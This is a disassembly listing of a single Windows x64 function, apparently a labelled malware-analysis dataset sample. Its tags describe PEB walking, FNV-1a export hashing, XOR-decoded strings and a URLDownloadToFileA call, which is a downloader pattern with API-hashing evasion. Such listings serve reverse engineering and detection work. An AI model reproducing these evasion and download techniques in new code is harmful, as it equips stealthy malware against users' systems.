Function at 0x140048710
Capabilities:
Access peb ldr_data
Download url
Encode data using xor
Hash data using fnv
Receive data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x1402acd18]
xor rax, rsp
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x38], rcx
mov qword [rbp + 0x120], rcx
xor esi, esi
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea r15, [0x1402b14a0]
mov rdx, r15
lea rcx, [rbp + 0x50]
call fcn.14004f070
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140048806
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140048806
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048801
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400487e0
cmp r8d, 0x70e2d349
je 0x14004880b
test r9d, r9d
jne 0x1400487c0
mov rax, qword [rax]
jmp 0x140048790
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
lea r8, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae r8, qword [rbp + 0x50]
movabs rax, 0xfe6f9f4b0c48524b
mov qword [rbp - 0x20], rax
movabs rax, 0xedf0174a4ca35a17
mov qword [rbp - 0x18], rax
movabs rax, 0x3a5a0517aa1d525b
mov qword [rbp - 0x10], rax
movabs rcx, 0x9e27b3645ed43364
mov qword [rbp - 8], rcx
movabs rax, 0x8c0ae96465383364
mov qword [rbp + 0x70], rax
movabs rbx, 0x9d98676422cc3364
mov qword [rbp + 0x78], rbx
movabs rax, 0x3a5a05648f203364
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rcx
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x10]
xorps xmm1, xmmword [rbp + 0x80]
movdqa xmmword [rbp - 0x10], xmm1
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x170]
call r9
lea rax, [rsp + 0x78]
mov qword [rbp + 0x120], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rsi
lea rax, [rbp + 0x170]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140048900
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x78]
call fcn.140042620
nop
lea rdx, [0x1402b1440]
lea rcx, [rbp - 0x68]
call fcn.140009b10
nop
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp]
call fcn.14009c600
nop
movabs r14, 0xef6f9b160a5b5d0d
mov qword [rbp - 0x40], r14
movabs r12, 0xf2f1141647ba6c10
mov qword [rbp - 0x38], r12
movabs r13, 0x3a5a05648f20330a
mov qword [rbp - 0x30], r13
movabs rcx, 0x9e27b3645ed43364
mov qword [rbp - 0x28], rcx
movabs rax, 0x8c0ae96465383364
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rbx
movabs rax, 0x3a5a05648f203364
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm1, xmmword [rbp + 0xf0]
movdqa xmmword [rbp - 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp - 0x40]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400489e0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140042620
nop
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x70]
call fcn.14004f070
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140048a21
mov rax, qword [rax]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
mov r8, qword [rbp + 0x10]
cmp r8, rdx
jne 0x140048a48
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x140048a48
xor bl, bl
jmp 0x140048a4a
mov bl, 1
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140048a88
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048a83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d7e
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140048ad7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d84
call fcn.1400a031c
lea rsi, [0x1402b1400]
mov r8, rdi
test bl, bl
je 0x140048f2f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
movabs rax, 0x8c0ae9646538335f
mov qword [rbp + 0x90], rax
movabs rax, 0x9d98676422cc3364
mov qword [rbp + 0x98], rax
movabs rcx, 0x8c0ae96465383364
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rbp + 0x90]
inc r8
cmp byte [rax + r8], 0
jne 0x140048b66
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x70]
call fcn.140042620
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140048ba1
lea rcx, [rbp - 0x20]
call fcn.140042620
nop
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0xa0]
call fcn.14009e3a0
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140048c05
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048c00
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d8a
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140048c54
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048c4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d90
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
mov rdx, qword [rbp + 0xa0]
lea rcx, [rbp - 0x40]
call fcn.14004ede0
mov rdx, rax
mov rcx, rsi
call fcn.14000b210
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140048ccc
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048cc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d96
call fcn.1400a031c
mov rdx, qword [rbp + 0xa0]
add rdx, 0x20
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rcx, [rbp - 0x40]
call fcn.14004ede0
mov rdx, rax
lea rcx, [0x1402b1420]
call fcn.14000b210
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140048d39
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048d33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d9c
call fcn.1400a031c
nop
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x140048d97
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
call fcn.1400426d0
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa0]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048d92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049da2
call fcn.1400a031c
mov r14, qword [0x1402b14b8]
mov rdx, r15
mov r15, qword [0x1402b14a0]
cmp r14, 0x10
cmovae rdx, r15
mov r12, qword [0x1402b1418]
mov rcx, rsi
mov r13, qword [0x1402b1400]
cmp r12, 0x10
cmovae rcx, r13
mov rbx, qword [0x1402b1430]
mov rsi, qword [0x1402b1410]
mov rax, qword [0x1402b14b0]
cmp rsi, rax
jne 0x140049a6f
mov r8, rsi
call fcn.1400bd4b0
test eax, eax
jne 0x140049a68
movabs rax, 0xe86f8506044b5a20
mov qword [rbp + 0x100], rax
movabs rax, 0x9d98676422cc3364
mov qword [rbp + 0x108], rax
movabs rcx, 0x8c0ae96465383364
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140048e52
lea rcx, [0x1402b1420]
cmp qword [0x1402b1438], 0x10
cmovae rcx, qword [0x1402b1420]
cmp rbx, rax
jne 0x140049a68
mov r8, rbx
lea rdx, [rbp + 0x100]
call fcn.1400bd4b0
test eax, eax
jne 0x140049a68
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140048f2a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140048f2a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140048f25
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140048f00
cmp r8d, 0x23a979e4
je 0x140049953
test r9d, r9d
jne 0x140048ee0
mov rax, qword [rax]
jmp 0x140048eb0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r13
movabs rax, 0x9e27b3645ed43364
mov qword [rbp - 0x28], rax
movabs r12, 0x8c0ae96465383364
mov qword [rbp + 0xa0], r12
movabs r14, 0x9d98676422cc3364
mov qword [rbp + 0xa8], r14
movabs rcx, 0x3a5a05648f203364
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rax
movdqa xmm0, xmmword [rbp - 0x40]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp - 0x30], xmm1
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp - 0x40]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140048fc0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140042620
nop
lea r9, [0x1402b1480]
lea r8, [0x1402b1460]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x70]
call fcn.14004f070
mov rdx, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140049001
mov rax, qword [rax]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
mov r8, qword [rbp + 0x10]
cmp r8, rdx
jne 0x140049028
mov rdx, rax
call fcn.1400bd4b0
test eax, eax
jne 0x140049028
mov bl, 1
jmp 0x14004902a
xor bl, bl
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140049068
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049063
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049da8
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400490b7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400490b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dae
call fcn.1400a031c
test bl, bl
je 0x140048d97
mov r8d, 0x104
lea rdx, [rbp + 0x370]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 8
lea rcx, [rbp + 0x120]
call fcn.14009c300
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400490f0
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor ebx, ebx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x140049104
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.140042620
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x14004915b
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049156
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049db4
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x130], xmm0
mov byte [rbp + 0x120], 0
movabs rax, 0x8c0ae9640040564a
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], r14
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r14
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rbx
lea rax, [rbp + 0x90]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400491d0
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x20]
call fcn.140042620
nop
movabs r14, 0x7fffffffffffffff
mov rax, r14
mov r15, qword [rbp - 0x10]
sub rax, r15
mov r12, qword [rbp + 0x30]
cmp rax, r12
jb 0x140049dba
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
mov qword [rsp + 0x30], rax
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rcx, qword [rbp + 0x20]
mov qword [rbp + 0x120], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], rbx
lea r13, [r12 + r15]
mov ebx, 0xf
lea rsi, [rbp + 0xe0]
movabs rcx, 0x8000000000000000
lea edx, [rbx + 7]
cmp r13, rbx
jbe 0x1400492e5
mov rbx, r13
or rbx, 0xf
cmp rbx, r14
jbe 0x1400492a5
mov rbx, r14
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400a02e0
test rax, rax
je 0x140049dde
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
mov rax, qword [rsp + 0x30]
jmp 0x1400492de
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400492c8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140049d6c
jmp 0x140049281
test rcx, rcx
je 0x1400492dc
call fcn.1400a02e0
mov rsi, rax
mov rax, qword [rsp + 0x30]
jmp 0x1400492de
xor esi, esi
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], rbx
mov r8, r15
mov rdx, rax
mov rcx, rsi
call fcn.1400bd5b0
lea rcx, [rsi + r15]
mov r8, r12
mov rdx, qword [rbp + 0x120]
call fcn.1400bd5b0
mov byte [rsi + r13], 0
movabs rax, 0xa325d317154c470c
mov qword [rsp + 0x40], rax
movabs rax, 0xf8f0041447a94717
mov qword [rsp + 0x48], rax
movabs rax, 0x553e2a13ff0e4705
mov qword [rsp + 0x50], rax
movabs rax, 0xee09d70531b85d13
mov qword [rsp + 0x58], rax
movabs rax, 0xa1150164ca48430c
mov qword [rsp + 0x60], rax
movabs rcx, 0x36f53f641c5c3364
mov qword [rsp + 0x68], rcx
movabs rsi, 0x8c0ae96465383364
mov qword [rbp + 0x140], rsi
movabs rbx, 0x9d98676422cc3364
mov qword [rbp + 0x148], rbx
movabs rax, 0x3a5a05648f203364
mov qword [rbp + 0x150], rax
movabs rdx, 0x9e27b3645ed43364
mov qword [rbp + 0x158], rdx
movabs rdx, 0xa1150164ca483364
mov qword [rbp + 0x160], rdx
mov qword [rbp + 0x168], rcx
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp + 0x150]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140049422
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x70]
call fcn.140042620
nop
movabs rax, 0x8c0ae96465381c4a
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rbx
mov qword [rbp + 0xc0], rsi
mov qword [rbp + 0xc8], rbx
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x100], xmm0
lea rax, [rbp + 0x100]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x140049482
mov rax, r14
mov r13, qword [rbp + 0xf0]
sub rax, r13
cmp rax, rbx
jb 0x140049dc0
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rax, qword [rbp + 0xe0]
mov qword [rbp + 0x120], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea r12, [rbx + r13]
mov esi, 0xf
lea r15, [rbp - 0x40]
cmp r12, rsi
jbe 0x14004955b
mov rsi, r12
or rsi, 0xf
cmp rsi, r14
jbe 0x14004951c
mov rsi, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400a02e0
test rax, rax
je 0x140049dd2
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140049557
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140049545
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140049d72
jmp 0x1400494fd
test rcx, rcx
je 0x140049554
call fcn.1400a02e0
mov r15, rax
jmp 0x140049557
xor r15d, r15d
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], rsi
mov r8, rbx
lea rdx, [rbp + 0x100]
mov rcx, r15
call fcn.1400bd5b0
lea rcx, [r15 + rbx]
mov r8, r13
mov rdx, qword [rbp + 0x120]
call fcn.1400bd5b0
mov byte [r15 + r12], 0
lea r8, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae r8, qword [rbp - 0x40]
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rdx, qword [rbp + 0x70]
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
movabs rax, 0x3030303030303030
mov dword [rsp + 0x30], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r15
lea rax, [rsp + 0x30]
mov rsi, rdi
nop dword [rax]
inc rsi
cmp byte [rax + rsi], r15b
jne 0x1400495f0
cmp rsi, r14
ja 0x140049dc6
cmp rsi, 0x10
jae 0x140049638
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], 0xf
mov r8, rsi
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xa0]
call fcn.1400bd5b0
mov byte [rbp + rsi + 0xa0], r15b
jmp 0x140049690
mov rax, rsi
or rax, 0xf
cmp rax, r14
ja 0x140049654
mov r14, rax
cmp rax, 0x16
mov eax, 0x16
cmovb r14, rax
lea rdx, [r14 + 1]
lea rcx, [rbp + 0xa0]
call fcn.140009e60
mov rbx, rax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xb8], r14
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1400bd5b0
mov byte [rbx + rsi], r15b
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x120], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.140009b10
mov rbx, rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x100]
call fcn.140009b10
nop
mov rdx, rbx
mov rcx, rax
call fcn.140045770
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140049716
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140049710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dcc
call fcn.1400a031c
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140049751
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004974c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dd2
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1400497a0
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004979b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dd8
call fcn.1400a031c
movdqa xmm0, xmmword [0x1400fe2b0]
movdqu xmmword [rbp + 0x80], xmm0
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1400497f6
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400497f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dde
call fcn.1400a031c
nop
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x140049833
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004982d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049de4
call fcn.1400a031c
nop
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x14004986f
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004986a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049dea
call fcn.1400a031c
xorps xmm0, xmm0
mov rbx, qword [rsp + 0x38]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
inc rdi
cmp byte [r15 + rdi], 0
jne 0x140049882
mov r8, rdi
xor edx, edx
mov rcx, rbx
call fcn.140042620
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1400498d5
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400498d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d66
call fcn.1400a031c
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140049920
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004991b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049d78
call fcn.1400a031c
mov rax, rbx
mov rcx, qword [rbp + 0x480]
xor rcx, rsp
call fcn.1400a02c0
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
mov edx, 0x10
lea rcx, [rsp + 0x40]
call fcn.14009c300
nop
cmp qword [rax + 0x18], 0x10
jb 0x140049984
mov rax, qword [rax]
movabs rcx, 0xe52a9b0101595c28
mov qword [rbp + 0x20], rcx
movabs rcx, 0xf3fd151657af1317
mov qword [rbp + 0x28], rcx
movabs rcx, 0x5b296c00af595f10
mov qword [rbp + 0x30], rcx
movabs rcx, 0x9e27b34a3ab15f06
mov qword [rbp + 0x38], rcx
movabs rcx, 0x8c0ae96465383364
mov qword [rbp + 0xc0], rcx
movabs rsi, 0x9d98676422cc3364
mov qword [rbp + 0xc8], rsi
movabs rcx, 0x3a5a05648f203364
mov qword [rbp + 0xd0], rcx
movabs rdx, 0x9e27b3645ed43364
mov qword [rbp + 0xd8], rdx
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [rbp + 0x30]
xorps xmm1, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x30], xmm1
mov r9d, 0x1010
mov r8, rax
lea rdx, [rbp + 0x20]
xor ecx, ecx
call rbx
nop
lea rcx, [rsp + 0x40]
call fcn.140009ab0
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.14000c360
nop
lea rcx, [rbp]
call fcn.140009ab0
nop
lea rcx, [rbp + 0x50]
call fcn.140009ab0
mov rax, qword [rsp + 0x38]
jmp 0x140049923
mov rax, qword [0x1402b14b0]
cmp r14, 0x10
